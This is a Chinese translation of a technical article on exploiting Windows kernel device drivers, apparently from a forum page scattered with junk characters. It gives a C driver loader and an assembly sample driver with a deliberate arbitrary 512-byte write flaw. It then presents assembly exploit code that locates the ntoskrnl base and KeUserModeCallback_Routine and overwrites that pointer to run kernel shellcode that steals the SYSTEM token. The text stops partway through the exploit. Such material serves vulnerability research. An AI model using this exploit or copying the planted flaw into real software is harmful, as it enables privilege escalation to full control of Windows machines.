|
|
设备驱动漏洞现在正在增长成为Windows 和其他操作系统安全的主要威胁。这是一个相关的新领域,但是很少有公开的技术文档讲述这个方面。据我所知,第一个windows 设备驱动攻击是由SEC-LABS小组在Win32 Device Drivers Communication Vulnerabilities白皮书中提到的。这个文章公开了一些有用的驱动溢出技术,并且描绘了未来研究的蓝图。9 H0 ^9 Z2 k4 K3 ^
第二个值得一读的文章是Barnaby Jack的文章,叫做“Remote Windows Kernel Exploitation Stepinto the Ring 0”。由于这方面技术文档的缺乏,我决定共享我自己的研究成果。在这个文章中,我将会介绍我的设备驱动攻击技术,提供一些详细的可用技术的细节,包括完整的攻击代码和用于测试的样例驱动的代码。6 {' D1 }) v) } R1 J- {
读者需要拥有IA-32 汇编阅读能力和软件漏洞攻击经验。另外,强烈建议你要去阅读之前提过的两篇白皮书。3 i, N# Z: E$ f
实验环境的组建
# p. Y, @+ h/ n/ a1 B: z) v4 x 过程中我使用了我的小型“实验室”:. q; O* l9 r. f
- 一台1G 内存的电脑;
/ {2 a" K4 k+ ~) w - 虚拟机软件,比如Vmware;
; r9 k: h% z: @0 [, h - windbg 或者softice。我在VMware 中使用第二种,但是它并不怎么稳定;; g U$ u Q$ w$ e/ P
- IDA 反汇编器;
# @- `/ M5 w7 |# Y F$ p - 一些软件我会在后面提到。
- C4 X# @' V8 r6 Q7 C" E" d 在虚拟机和主机之间使用pipe 进行远程调试,但是通常其他方式更好一点。如果你想进一步研究驱动的话,这个环境的组建是非常重要的。
: r) O% w# X! ~% X 用户态代码(软件)在Ring3 模式下运行(它没有访问Ring0 模式的权限),并且不能直接访问操作系统的函数,如果想使用这些函数只能通过call请求他们。这个叫做函数封装。用户模式内存地址是由0x00000000 到0x7FFFFFFF。
3 ]: S, B9 H; Y: ^ Windows 系统使用了两种权限模式(ring0 和ring3)。4 F o0 O! X* Y, j( t' Q
Driver loader% y, v" F/ E- ?' O- C0 s/ a
在我发布那个简单驱动之前,我们先来简单看下如何加载它。这是实现这个功能的代码:/ S& M: }8 a& r
/* wdl.c */
6 h) E! N( O6 H6 K4 B% t2 V #define UNICODE
2 p7 y/ z# ]5 v #include
; z8 K) a/ m8 G. {1 P #include ) b$ Q$ t: L+ C& t1 z" O
#include
- O. V p) J- U$ g5 ?0 X void install_driver(SC_HANDLE sc, wchar_t *name)
# ], U8 m! R+ C1 o2 J {
. Z; N- z, I& F1 @ SC_HANDLE service;
' | U3 o" D5 z; r2 J0 O wchar_t path[512]; $ C- g. ~, K8 M$ [9 [4 z
wchar_t *fp; ( d' U/ I. w. @1 k' W8 C/ y
if (GetFullPathName(name, 512, path, &fp) == 0)
/ n% O: U4 u7 X) Y {
1 f8 @1 k. a) Y' ~; E printf("[-] Error: GetFullPathName() failed, error = %d\n",GetLastError()); 8 _* X- g/ }7 A( v# }& r) w
return; : t+ Q' A% P: F9 n" Y a9 t
} . {* h; \* [" j- @
service = CreateService(sc, name, name, SERVICE_ALL_ACCESS, \
4 q5 Y* q+ Y4 `: I SERVICE_KERNEL_DRIVER, / ~5 X1 }: }" e. v+ e; X
SERVICE_DEMAND_START, \ * s% N1 V0 ]7 l- A& C( K; C
SERVICE_ERROR_NORMAL, path, NULL, NULL, NULL, \
* k7 J) Z+ e7 [7 E, R2 ^ NULL, NULL); * _/ v& P& N( b2 l7 @9 N
if (service == NULL)
* O2 U4 X4 k, I: l( _$ D- C! a {
$ a) j) i* a. F. ?! p. J$ u printf("[-] Error: CreateService() failed, error %d\n",GetLastError()); ; V- @: ^/ z6 U- X6 T
return; ' V* F7 W. t/ @$ D5 ^2 ^
}
! t I/ X# `& g; U1 U( A- }% o printf("[+] Creating service - success.\n");
0 V% ?9 I/ L6 g" v& s" \% c CloseServiceHandle(sc); . l, v8 }8 q7 n6 ^" h3 f
if (StartService(service, 1, (const unsigned short**)&name) == 0) 0 c! A9 y3 n" N; h+ _6 n; l& N
{ 8 n/ ]: J- u5 v& K( @6 \
printf("[-] Error: StartService() failed, error %d\n", GetLastError()); / m T& _) ^4 @+ A6 j: H
if (DeleteService(service) == 0) 2 E0 [+ b1 r: H: A/ q
printf("[-] Error: DeleteService() failed, error = %d\n", GetLastError());
" h: U' i/ \2 p4 F9 j return; 7 J5 ` l! G- ^$ F( k
}
5 p$ h3 y' p$ v4 W" p( B' n! D; ^ printf(" Staring service - success.\n");
. K. }2 T5 J; E& _ CloseServiceHandle(service);
6 d+ }5 [7 v s+ ]5 |2 t }
' x8 [' a) g2 f+ D' d+ p void delete_driver(SC_HANDLE sc, wchar_t *name)
& l3 ~$ x- I1 B# O, @( [- \ {
9 A# W3 M5 y9 a( Q SC_HANDLE service;
4 ?$ k+ @% d+ {% ~& @$ J SERVICE_STATUS status;
8 w2 `2 {( ?- `' {! G% b4 @/ I service = OpenService(sc, name, SERVICE_ALL_ACCESS); P2 i q6 L b& n9 @
if (service == NULL) & w+ e9 H3 a1 U$ h8 ^0 v. Z; o
{ * {4 R! K* H- r
printf("[-] Error: OpenService() failed, error = %d\n", GetLastError()); : j! B, F K0 Q; p
return;
2 R2 J0 { f% p2 ` }
9 X5 t8 q# J- g3 s printf("[+] Opening service - success.\n"); ' m2 l, o# M( v& z& u: e
if (ControlService(service, SERVICE_CONTROL_STOP, &status) == 0) 2 R% \' _$ p3 n/ F4 ^# Y: F; h; c
{ : m. Q7 H" J3 i w/ r* B6 K
printf("[-] Error: ControlService() failed, error = %d\n",GetLastError());
0 Q% U* l! w. |/ W return; ' g" M& \$ g0 ^1 R# x& l( H: a/ O& A
}
" N U+ [; b& a6 ?% q% V/ p printf("[+] Stopping service - success.\n"); 2 o( P3 E( A" i! \/ x. H$ L2 M0 Z
if (DeleteService(service) == 0) {
& Z c5 f% P) j printf("[-] Error: DeleteService() failed, error = %d\n", GetLastError()); + r" N* |1 f7 A9 s2 ?, \7 ?6 k
return; 8 ~9 L" E) d$ o$ C- r. W, O( n
}
+ @# A, R. P6 ^8 S8 R printf("[+] Deleting service - success\n");
: A% d3 g7 P5 E/ E$ v& d CloseServiceHandle(sc); 2 H9 b" X% U: ?% T. q ^
} # u ~5 a1 ~* `' ~) M7 Y
int main(int argc, char *argv[])
% `4 l% ?5 V) k9 F; s; ~ {
4 i% r" G; }% [1 O, H: F) H int m, b; c! h, ]/ ?) L( @$ U/ n7 W
SC_HANDLE sc; R* N6 m2 k% R" U, q0 I3 R: Z
wchar_t name[MAX_PATH]; + s; A# X& A5 }: K @
printf("[+] Windows driver loader by Piotr Bania\n\n"); 4 M( }4 k* N/ N- x( p
if (argc != 3)
' B1 x% v! K6 c: T( O: j1 u { 5 }% c) r, g2 i2 }
printf("[!] Usage: wdl.exe (/l | /u) driver.sys\n");
- U: A; c! v O. o printf("[!] /l - load the driver\n"); * M( N& z& ~, w
printf("[!] /u - unload the driver\n"); : N1 f& c9 `" @: |
getch(); % c, L; s" Q v) f/ K7 N
return 0; 0 T L6 m: |0 r% Z7 A3 S
} 0 Z* \9 V3 c' C# A. t
if (strcmp(argv[1], "/l") == 0) 8 z- P4 f* [) |6 O
m = 0;
[) ^5 S9 t% L6 E4 Q5 u6 H else
: h4 ~: S" |3 Z9 m: w; _9 L. T8 d& Y m = 1; // default uninstall mode 8 F4 h, j/ s' ~
sc = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, ( H6 q5 g6 z$ u
SC_MANAGER_ALL_ACCESS);
8 _ O+ {5 O! r$ P if (sc == NULL)
5 E( B1 a) D. { { . f7 g0 g L+ Y- v8 b: n
printf("[-] Error: OpenSCManager() failed\n"); . V) O, H2 k5 P' f) {- ~( ]8 x6 @3 D
return 0; $ s% c6 g5 c8 `+ y
} O- ]) e ?' X- p9 ]+ Y
b = MultiByteToWideChar(CP_ACP, 0, argv[2], -1, name, MAX_PATH);
4 a) m5 M" k: z% O if (m == 0)
" `+ a6 ~. {! I; i" T9 V7 k% W+ @ {
0 J. e( Z2 `4 o9 j c9 g4 C% H printf("[+] Trying to load: %s\n",argv[2]); # L- \7 Q% w- [* a: v) E
install_driver(sc, name); # C! w# d6 A6 u" P
} * ^4 n1 p* \1 J& Y" O
if (m != 0)
2 ]$ M/ d; T% X1 q3 Q. _% B1 k' H { ' B+ _7 e# F1 i) f) v
printf("[+] Trying to unload: %s\n",argv[2]);
* @* r L l' E& F* q delete_driver(sc, name); - N0 ], c/ \) V2 M0 i4 i4 \
}
+ L. z9 E. S9 a( B' m6 y0 _% J' F4 x getch(); 0 z+ g/ \1 V2 i! t! ~
} & V' D% j' h9 T. Q4 f
/* wdl.c ends */ 8 Q3 b1 I+ e) J* x; \. g: T; E7 ^
* }0 N4 M7 i! H3 N' G
5 R9 ?) ^0 A/ Z( y
含漏洞的驱动样本
: ^2 }: T+ T% p 这是含漏洞驱动的样例代码,我们将会在文章接下来尝试攻击它。这个驱动的基于Iczelion 的框架模型。0 ^; N7 Z% H& }8 b/ p. w% c5 V
; buggy.asm start 4 F- k3 \% s. N3 b
.386 + e; F# e( W) o+ q& i" q+ U
.MODEL FLAT, STDCALL & A' A8 j6 f8 T9 `
OPTION CASEMAP:NONE & G3 T v7 U( C S
INCLUDE D:\masm32\include\windows.inc 4 g, a( m# W% _8 }5 @9 v9 k
INCLUDE inc\string.INC 8 w& ]" S# D/ g3 t
INCLUDE inc\ntstruc.INC & _4 F; H: e2 L3 }6 w. B
INCLUDE inc\ntddk.INC
6 P% k, j/ P1 f2 R$ J9 P( i INCLUDE inc\ntoskrnl.INC ) E& C6 }+ d, G- J: ~
INCLUDE inc\NtDll.INC
1 O/ h( K& i. X9 C% F6 H, M- i0 h INCLUDELIB D:\masm32\lib\wdm.lib 2 n5 u7 j0 u A3 ^; V
INCLUDELIB D:\masm32\lib\ntoskrnl.lib 3 n( v/ p. N" g# n# ~( R; S3 W/ K; m
INCLUDELIB D:\masm32\lib\ntdll.lib # u0 R' o8 T- l0 C/ H' `1 X7 Z( J
.CONST
6 U+ M' B2 O2 S2 g! p/ M' h/ S pDevObj PDEVICE_OBJECT 0 " a- e3 G- C) h
TEXTW szDevPath, <\Device\BUGGY/0> - d% q7 H+ e) q7 P7 I0 U9 W
TEXTW szSymPath, <\DosDevices\BUGGY/0> 3 v( C# N- j' a( E: f$ g
.CODE
" L }8 i# r; X) l2 E assume fs : NOTHING - I- o4 V* x* w H) O; K7 s
DriverDispatch proc uses esi edi ebx, pDriverObject, pIrp ' Y3 z. f d. _1 o$ ], ] i% B$ ~
mov edi, pIrp
, T: r# ]' ]5 @7 V assume edi : PTR _IRP
7 q ]; v5 \7 d2 |+ B9 ^ sub eax, eax # |7 O' t- D1 P [
mov [edi].IoStatus.Information, eax ; T# E3 m( ~2 N
mov [edi].IoStatus.Status, eax
2 I5 ~8 S0 J' b- a/ D3 F assume edi : NOTHING
A% A! Q; o6 y* i6 \ mov esi, (_IRP PTR [edi]).PCurrentIrpStackLocation - H) N7 Y' @% i/ A7 Y4 I! a4 [8 n5 Z
assume esi : PTR IO_STACK_LOCATION
" e" f& P2 D0 D .IF [esi].MajorFunction == IRP_MJ_DEVICE_CONTROL 1 z1 V+ W9 E( [$ a
mov eax, [esi].DeviceIoControl.IoControlCode
$ S3 @, e+ V+ Y' s# A6 O: m .IF eax == 011111111h 7 b9 S q0 Y, P! C {- @
mov eax, (_IRP ptr [edi]).SystemBuffer ; inbuffer . L6 e6 C8 I; `
test eax,eax
2 a6 s% u5 A5 c9 |( c& y" b8 a jz no_write ! q- x+ h' p0 e) {
mov edi, [eax] ; [inbuffer] = dest
' C1 c/ v9 O0 B& {7 h mov esi, [eax+4] ; [inbuffer+4] = src ) B' E! H0 O# c. K( v0 R- h
mov ecx, 512 ; ecx = 512 bytes
6 H7 }) F' s0 e8 B4 g2 G( l2 a rep movsb ; copy 3 }+ c) ?/ y; v7 X. K
no_write:
8 N7 k! G! [% I! ~; O .ENDIF 9 n% }2 I% `+ W y) P
.ENDIF 7 l0 z* j8 {/ ~( }
assume esi : NOTHING # G! T3 a4 A8 I. R0 p5 o1 A6 T5 o* u
mov edx, IO_NO_INCREMENT ; special calling 2 \8 h) B3 o: X$ H% U
mov ecx, pIrp . r' h; F% A) i# j" N% ^) ^# U
call IoCompleteRequest - i0 c" f0 c$ I' i& y% K$ H# z% l
mov eax, STATUS_SUCCESS
( T7 L* Z' f. _ m) ?$ A ret
5 l; j# N9 ?$ q$ }( z/ s$ ^0 n& U DriverDispatch ENDP
% Q; I- W. r) d2 F. t DriverUnload proc uses ebx esi edi, DriverObject local usSym : UNICODE_STRING ( e& m/ E$ d6 R6 ~
invoke RtlInitUnicodeString, ADDR usSym, OFFSET szSymPath - S7 w) X. K6 p7 L, e9 C" z
invoke IoDeleteSymbolicLink, ADDR usSym
4 L5 i# a, k, w, W" T F0 o invoke IoDeleteDevice, pDevObj
5 i0 [ i: [7 c; y! t" y ret
: A; f$ K7 X+ Z2 K' Z& B DriverUnload ENDP
( A! g l* I. o. b .CODE INIT ! Z: c* s3 D$ }: \
DriverEntry proc uses ebx esi edi, DriverObject, RegPath ' \7 U$ ]% o8 G; k- ?
local usDev : UNICODE_STRING % e* q. m2 F, Y
local usSym : UNICODE_STRING
! h U4 R# E' u5 W9 z; O3 s invoke RtlInitUnicodeString, ADDR usDev, OFFSET szDevPath
: Y! {$ C, Z. r- d invoke IoCreateDevice, DriverObject, 0, ADDR usDev, FILE_DEVICE_NULL, 0,
/ y: `5 g8 Q2 O4 p3 A/ |6 D6 b9 | FALSE, OFFSET pDevObj ; {+ S! F% z% p' @* q* V+ L
test eax,eax
$ {& C/ R2 r6 M( o* ~5 @$ l' D3 \. o jnz epr
# m! M& J% |: G$ L! q invoke RtlInitUnicodeString, ADDR usSym, OFFSET szSymPath " s' L- |4 W7 }1 m" E& G. e
invoke IoCreateSymbolicLink, ADDR usSym, ADDR usDev ' L0 h G5 f4 X$ ?5 C5 v
test eax, eax
' p4 o/ o A4 P5 M/ Q8 p: c jnz epr * g) v, r4 d3 D
mov esi, DriverObject ' O) C" E8 D- x, ]- O, S( }
assume esi : PTR DRIVER_OBJECT " @' T% b* c( Y3 {( G) e
mov [esi].PDISPATCH_IRP_MJ_DEVICE_CONTROL, OFFSET DriverDispatch
$ l7 ~! u7 k4 x% C1 b( F mov [esi].PDISPATCH_IRP_MJ_CREATE, OFFSET DriverDispatch
\ R) |/ o) }- }1 [5 `+ j* J mov [esi].PDRIVER_UNLOAD, OFFSET DriverUnload ) C/ n a2 J: q1 m" o
assume esi : NOTHING
! H4 i4 n' @: S. B8 L8 p) E mov eax, STATUS_SUCCESS
% g! H' a0 z1 l) s, A epr: . W, I( P& f/ i4 M+ _
ret
$ Q+ u. W$ `5 ]6 V; L1 @- H DriverEntry ENDP 0 V! ^$ K, { K
End DriverEntry
% G s& s' P+ g9 R; L# [8 U ; buggy.asm ends
! h' D7 [9 {# T1 I) t; Q- Y$ ]0 j& X! I3 N# E# v' C
7 ~, m) E8 E4 b* W+ q v0 j
漏洞分析
) c* `3 }% ^. i" w. D 你可以在上面的代码中发现一处明显的漏洞:
& `1 V1 m# Q; C' R: E$ f3 ^ .IF eax == 011111111h . g9 w W P J/ r- T1 M2 y
mov eax, (_IRP ptr [edi]).SystemBuffer ; inbuffer
: L) x. f: D4 X: n: N4 | test eax,eax
; q1 ~; y+ g/ ~. ~8 } jz no_write
7 h& m1 n) C7 U1 l7 H mov edi, [eax] ; [inbuffer] = dest
5 G |+ v) m4 }" }0 s: I, \( h mov esi, [eax+4] ; [inbuffer+4] = src
, C t! F! [8 s7 J$ h9 r mov ecx, 512 ; ecx = 512 bytes
9 |( M5 `" g3 P- E! v rep movsb ; copy
4 Y9 l1 z8 r. i; N* l no_write: 4 t/ f/ F6 Y1 X: _, y
.ENDIF 1 G" _/ {4 x5 g9 ~
( b. b8 z7 F% j6 u5 c! P! K8 Z/ l
如果驱动获得eax 等于0x011111111,它会检测lpInputBuffer 参数的值。如果他等于空,则什么也不发生。但是当参数不同于0 时,驱动从送入的缓冲区中读取数据(源代码描述)并且从源内存中拷贝512bytes 到目的区域中(如果你愿意,你可以将它看作memcpy())。现在你也许会想,对于这样一个如此简单的memory corruption 利用又有什么难度呢?当然,这个漏洞看起来十分容易利用,然而你有没有意识到事实上你并不能写入数据到驱动中。我想你应该十分明白看到搜索硬编码堆栈地址作为目标内存参数是完全没意义的。同样的,如果你说这样的漏洞不存在于流行软件中,那你就错了。此外,这里提到的利用技术你可以利用来攻击多种类型的memory corruption 漏洞,甚至那些被称为off-by-one 的问题,这些问题是值覆盖内存并且攻击者不可控——不要限制你的思维(好吧,很多时候:))。让我们开始寻找上面那些问题的答案。
( Z: |: _5 Q( ?) G; g. D& p 目标:定位可写数据2 s( |' c O. A7 P5 o" r
首先,我们需要定位一些我们可以利用的内核模式模块,这些模块需要在大多数Windows 操作系统中都是存在的(我的意思是只限于NT 系统)。一般来说这样可以提高在不同机器上的攻击成功率。现在让我们来看看Windows 的真实内核——ntoskrnl.exe。
& z& O7 T; l) l7 S% s1 n0 u 我们先来看看引出的函数:
+ o8 Z5 u$ T6 A% ^ - KeSetTimeUpdateNotifyRoutine G" ^$ H# N/ ~
- PsSetCreateThreadNotifyRoutine 6 E4 m) E6 k6 u8 f. b* s
- PsSetCreateProcessNotifyRoutine
0 R9 \1 c( y; T: a6 v" {1 z - PsSetLegoNotifyRoutine ; `! \$ p( r0 Y8 |0 e
- PsSetLoadImageNotifyRoutine 4 |/ a2 b2 g7 s6 I
X j5 ?4 n9 [! T9 |0 z3 s
, C, U o! H1 {8 n* {2 t 看起来这些都是非常有用的,现在我们以KeSetTimeUpdateNotifyRoutine为例分析下是否可以被我们利用。
4 |& y! X/ C4 f& K2 Q1 [/ y0 G2 r, M
函数会将ECX寄存器值写入到我命名为KiSetTimeUpdateNotifyRoutin 的内存地址中。; S) i$ h- _- k) P d
K6 ^$ i$ z7 k- U* l1 a
现在我们看看调用这里的地方:! [ O! q3 M- \$ @
如同你见到的那样,在0x8053513B 位置,指令将会从KiSetTimeUpdateNotifyRoutine内存地址(当然它得非0)执行。这样我们就可以将KiSetTimeUpdateNotifyRoutine 改写成我们希望执行的内存地址。但是这个方法存在着一些问题,我曾经对比过一些windows内核发现,他们中很多在执行call "routines"(比如call dword ptr [KiSetTimeUpdateNotifyRoutine])时会发生丢失现象,因为他们中有些仅仅只是写入或者读取操作,而不是执行。这个结果令我非常失望,于是我开始寻找其他的有用的缺陷代码点。通过对比一些内存中的调用,我发现了以下的地址:1 F; {4 p# d7 T) m
/ @1 }; @, S8 Z6 O% h
0x8058697A 处的指令好像是被预置的,而且在所有我看过的内核中都是可用的。这个给我足够的结果可以用来进行攻击了,现在让我们来计划下如何攻击吧。
% v, y8 h, Y$ l, n( } 注意:还有一些其他位置的资源我们可以利用,你甚至可以邪恶的安装你自己的System Service Table或者其他更核心的东西。' `$ M: V* m( `( w9 d
攻击计划
6 o3 U! ?4 A5 b0 V& H% p% F 这里是几个我们攻击这个漏洞的关键点:
; J' n9 l4 ^4 ~ 1) 定位ntoskrnl.exe 基址——这个地址会在Windows 运行时改变。+ R" R$ `2 I0 V
2) 加载ntoskrnl.exe 模块到用户层空间,获得KeUserModeCallback_Routine 地址,最后加上ntoskrnl 基址,求的当前地址。
' M& x3 x0 ~0 N7 a& u 3) 发送一个信号,并且从KeUserModeCallback_Routine 地址处获取512bytes(由于漏洞的性质,我们有这样的可能,当我们会改变KeUserModeCallback_Routine 的4 字节时这样能够增强我们利用程序的稳定性)。
. w( [" w& n# D! K 4) 发送一个包含特殊构造数据的信号(正如我们之前提到过,覆盖KeUserModeCallBackRoutine 的值,并且使它指向我们的内存(shellcode))。
0 e2 r/ h0 k1 L9 b 5) 开发特殊内核模式下的Shellcode(当然,shellcode 在第四步之前或者第四步的时候就需要做好了,现在是执行他。)
u0 H4 U l: v1 ?$ z4 @7 S/ u0 x 5-a) 重设KeUserModeCallback_Routine 指针
7 c* X' x }6 P, X2 \* U, v6 ^ 5-b) 给你的进程SYSTEM 进程token。8 s/ Y" l% T% V* Q4 y6 j d
5-c) 执行正确的KeUserModeCallback_Routine。2 E9 h7 I9 ]0 d
关键点1:定位ntoskrnl.exe 基址
% S- M0 K" S# C; g/ ~/ c3 N: l! ~ Ntoskrnl (windows 内核)基址会随着每次系统的启动而改变,因此我们不能硬编码它的基址,这样是没什么作用的。简单地说,我们需要从哪里获得这个地址呢。我们可以使用SystemModuleInformation 类的native API NtQuerySystemInformation 获得。接下来的代码会为我们描述这个过程:
5 j6 k V/ M; v' A$ e$ u NTSTATUS WINAPI NtQuerySystemInformation( ) Z6 U9 V" R/ P
__in SYSTEM_INFORMATION_CLASS SystemInformationClass,
# o+ Y0 r! W' }% q) H4 K __inout PVOID SystemInformation, D. ^; u0 ]% t( X! O0 }
__in ULONG SystemInformationLength,
. m- n3 `) `0 P9 I __out_opt PULONG ReturnLength - m" r' g. [+ e4 g, Y
);
5 @3 h/ X. V1 ^) Q/ S* r ; ------------------------------------------------------------ 2 b- Y" O6 e( u7 {
; Gets ntoskrnl.exe module base (real)
% g- h7 w- z: h" g! G ; ------------------------------------------------------------
& m( v( q3 W* U0 U/ N2 | get_ntos_base proc
( Z2 X" [% p8 C: `$ _: z local __MODULES : _MODULES
$ b. U2 M- ]5 A' S7 _$ I7 V0 Y6 i pushad
* ^4 o% {! `0 [" r8 b: X* { @get_api_addr "ntdll","NtQuerySystemInformation" ! o+ A% v0 ~$ E/ h: w* f9 p
@check 0,"Error: cannot grab NtQuerySystemInformation address"
+ W. n( B$ H: }" c2 P9 h. z mov ebx,eax ; ebx = eax = NTQSI addr ( _0 x( T& P+ l; o
call a1 ; setup arguments . I$ G$ d4 {# t6 f
ns dd 0 9 p7 m( M# i# V) P% b F
a1: push 4 % u4 g }( |3 B- z! ~
lea ecx,[__MODULES]
/ _2 l! O" I$ m. \: O7 D push ecx
. M1 F7 Q4 G( Q w push SystemModuleInformation % n6 i8 t2 v$ E( S# U
call eax ; execute the native 3 r% _3 j7 x; L5 f% h; m- [
cmp eax,0c0000004h ; length mismatch?
6 A& ?! f i7 x" P jne error_ntos
" Z: @" \" N+ d' t4 t) y push dword ptr [ns] ; needed size / O' I) s: h' o7 s3 w9 ]0 _
push GMEM_FIXED or GMEM_ZEROINIT ; type of allocation 3 B! J& |1 K( r8 H3 T0 t
@callx GlobalAlloc ; allocate the buffer " F* r' U" m9 F6 N' w3 `! \
mov ebp,eax , }: }) b1 j: e$ Z, `
push 0 ; setup arguments
9 Q" H& ~! B: X5 C9 a6 y9 Z, `1 g5 ? push dword ptr [ns]
! ^4 @4 k; L$ C9 J push ebp
& ]' |% F1 @% }; b h' A2 n! C push SystemModuleInformation * N8 W [9 v; O8 i! L. E
call ebx ; get the information & I# a# v$ k5 Q
test eax,eax ; still no success? * b5 e$ s) z0 d
jnz error_ntos # W8 d3 {& f$ X
; first module is * a5 v- Z. V6 _3 ]8 |5 r
always
% T1 C9 z. G; ] ; ntoskrnl.exe
2 Q" p7 o* {. r$ Z" q mov eax,dword ptr [ebp.smi_Base] ; get ntoskrnl base
. X9 z j) i e, y' e( k mov dword ptr [real_ntos_base],eax ; store it 2 s$ Z# {' [# n
push ebp ; free the buffer
2 ^: ^: ` u6 b: N3 m' m7 U3 {# c @callx GlobalFree
2 ?/ h& Z7 k, y H popad
1 u, z0 a% {# ^ ret % ?' m( U' T T& D& I" ^# L6 Q" r
error_ntos: xor eax,eax
. {/ A, v+ C4 n( ] a6 D @check 0,"Error: cannot execute NtQuerySystemInformation"
$ N8 q+ b+ }2 O, [- P$ P, S* X get_ntos_base endp
. L. `% x! T( {/ t _MODULES struct # x$ _& F2 H/ e& c- \
dwNModules dd 0
1 J; r9 B8 n9 n2 s7 K ;_SYSTEM_MODULE_INFORMATION:
0 T; D; H5 Y* _3 w smi_Reserved dd 2 dup (0)
/ P: v9 D3 L. ?& j0 o) C smi_Base dd 0 ) U& c0 D9 _ m2 g) L) n1 V
smi_Size dd 0
9 e) X( ?- c) u% ?' {0 W& u5 V4 s smi_Flags dd 0
9 Z2 s. O2 S, r- m( l1 e smi_Index dw 0 2 r7 s& O% M* E3 k3 m% X6 p9 [
smi_Unknown dw 0 8 z1 w% X# F- t
smi_LoadCount dw 0
! B8 W8 |; F$ B2 c7 Z9 O+ p9 _0 E" @ smi_ModuleName dw 0
* q6 a4 Q. {: I% ?% K smi_ImageName db 256 dup (0) 2 E$ O7 D: l; U1 S2 o+ W% c9 o
;_SYSTEM_MODULE_INFORMATION_SIZE = $-offset ! [9 t2 k" n7 I" H/ ]1 B
_SYSTEM_MODULE_INFORMATION
& y+ \. Q" r6 S ends
1 n2 D6 j) o$ W2 l" ^8 Q: K6 z' D
1 c' ?. B8 ]) A" |
7 d/ s) _% g) b1 Z9 _* Y 关键点2:加载ntoskrnl.exe 模块,并获得KeUserModeCallback_Routine 地址3 I9 C" o, L3 j, a
加载ntoskrnl.exe到程序的空间非常简单,我们可以使用LoadLibraryEx API 实现。不同的Windows 内核有不同的KeUserModeCallback_Routine 地址,因此我们需要获取当前的地址。正如你所看到的call 请求那样(call dword ptr [KiSetTimeUpdateNotifyRoutine]),请求总是来自低于KeUserModeCallback 函数的地址。我们会利用这个特性,我们需要找到KeUserModeCallbac 地址,搜索特殊的call 指令代码(0xFF15 byte),经过简单的计算我们就可以得到KeUserModeCallback_Routine 的地址。代码我们举例说明:8 Q) p/ X! T; m2 H" b, e
; ------------------------------------------------------------
A. {+ g) E/ [: z- _( w( S ; finds the KeUserModeCallback_Routine from ntoskrnl.exe , Q# ^; e" c: K1 I! c
; ------------------------------------------------------------
8 j3 a9 m8 x! A; a find_KeUserModeCallback_Routine proc $ V$ H3 c8 h9 K
pushad
; G ^* G/ K. J0 ^) Z/ ] push 1 ;DONT_RESOLVE_DLL_REFERENCES
) x" i/ u; F* k/ V, ~ push 0 7 T5 U" g+ e; o5 L- {9 j+ Y
@pushsz "C:\windows\system32\ntoskrnl.exe" ; ntoskrnl.exe is ok also
! o! J8 I7 I3 Y, d- x) q8 X @callx LoadLibraryExA ; load library
% `0 a2 t, r8 z. f) x6 O @check 0,"Error: cannot load library"
# ^) J/ W* [0 C9 l mov ebx,eax ; copy handle to ebx
# l( G6 l) Q0 ?8 L3 w( b$ d! [ @pushsz "KeUserModeCallback"
8 f- g" ?0 L( ]: p push eax
6 u; | u$ X+ ~0 A- j @callx GetProcAddress ; get the address
" |- }7 p. S4 V( s) @; E) f mov edi,eax & \% O$ Q# _. |4 G% G- O
@check 0,"Error: cannot obtain KeUserModeCallback address"
- ^, h3 U( i* F scan_for_call: : ~' [; J& E8 ~, p
inc edi ; u( N3 g* p4 P# A
cmp word ptr [edi],015FFh ; the call we search for?
* X5 B6 c* J* k2 V jne scan_for_call ; nope, continue the scan : J% J0 `" J# r8 U0 O2 _. [, z
mov eax,[edi+2] ; EAX = call address
6 Y& d* h0 W; H- @1 O" j. q mov ecx,[ebx+3ch]
* h% M) g" J. s add ecx,ebx ; ecx = PEH
0 p: [' z( J+ n8 g0 n mov ecx,[ecx+34h] ; ECX = kernel base from PEH S/ C/ @6 ^9 F7 E. t$ @/ R
sub eax,ecx ; get the real address 7 E1 h) @* U* S7 ^7 n& v7 D5 u
mov dword ptr [KeUserModeCallback_Routine],eax ; store 8 `- {: N9 K& @1 R+ n8 t1 w
popad 5 [$ B; U! q7 Q5 M: K9 c; e5 R' W, u: D
ret 0 M7 m0 A+ p2 m3 P" N7 X) b
find_KeUserModeCallback_Routine endp 2 X9 J2 u- v, R$ K
% @; f: d2 C1 y' e$ E5 l
# m; S6 D! F4 d3 B9 J3 J% | 关键点3:发送一个信号,从KeUserModeCallback_Routine 地址处获得512 bytes; Q, _( q9 g3 @2 v# I7 `
当我们使用一些代码覆盖512 bytes 的内核空间时,我们有很大可能会导致机器崩溃。# {, ]* L3 W: Z- x. D0 [
为了避免这种情况,我们会使用一些狡猾的方法:发送一个包含我们可以从原始ntoskrnl 数据中获得的lpInputBuffer 结构信号,就像下面的exploit 代码中演示的那样:
# [% c0 ~7 p1 w. p$ o4 `* \ D_PACKET struct ; little vulnerable driver ) W/ _& D/ C0 c4 v2 j* w9 u, B
dp_dest dd 0 ; signal struct 5 n" W# y3 c D5 I# s2 d
dp_src dd 0
; W& Y* V$ f: i D_PACKET ends ! b2 c" \- G9 @/ f8 I+ f
; first signal copies original bytes to the buffer . [4 K( z: P/ a R0 k' P$ E
mov eax,dword ptr [KeUserModeCallback_Routine]
6 }7 w6 x0 i+ G2 t0 E. a' a4 C mov dword ptr [routine_addr],eax
- q2 b3 v* t2 A$ | mov [edi.D_PACKET.dp_src],eax ; eax = source
; V6 H2 w0 p# R. G% F. r' N/ L% ~ mov [edi.D_PACKET.dp_dest],edi ; edi = dest (allocated mem)
- V9 v3 c4 G) S" ?, s1 l7 G9 k add [edi.D_PACKET.dp_dest],8 ; edi += sizeof(D_PACKET)
% {9 M1 ?0 R8 D0 k) X$ a. P mov ecx,512 ; size of input buffer " D+ P/ q/ ^$ `5 m
call talk2device ; send the signal!!! # f6 X' T) }0 ]9 J6 y: \0 @. H7 [ l
; code will be stored at edi+8
M" R/ P5 | j# R( b
# C, \2 v! b5 J* v0 v$ z- A+ b: H: {0 H1 e% C+ b y& T
关键点4:覆盖KeUserModeCallback_Routine4 e/ l G _: L! L0 p+ |
关键是如何执行我们的shellcode。通常我们使用与上次信号交换值的方法实现,而且仅需要改变第一次读取数据的前四个字节。 n% l$ ^2 L7 `( r* c
; make the old KeUserModeCallback_Routine point to our shellcode , E3 T# g; ]2 `5 k8 R
; and exchange the source packet with destination packet
+ P) K q4 z% _, h mov [edi+8],edi ; overwrite the old routine " g# f ^7 a4 m( ~: T6 Z% ?5 w
add [edi+8],512 + 8 ; make it point to our shellc.
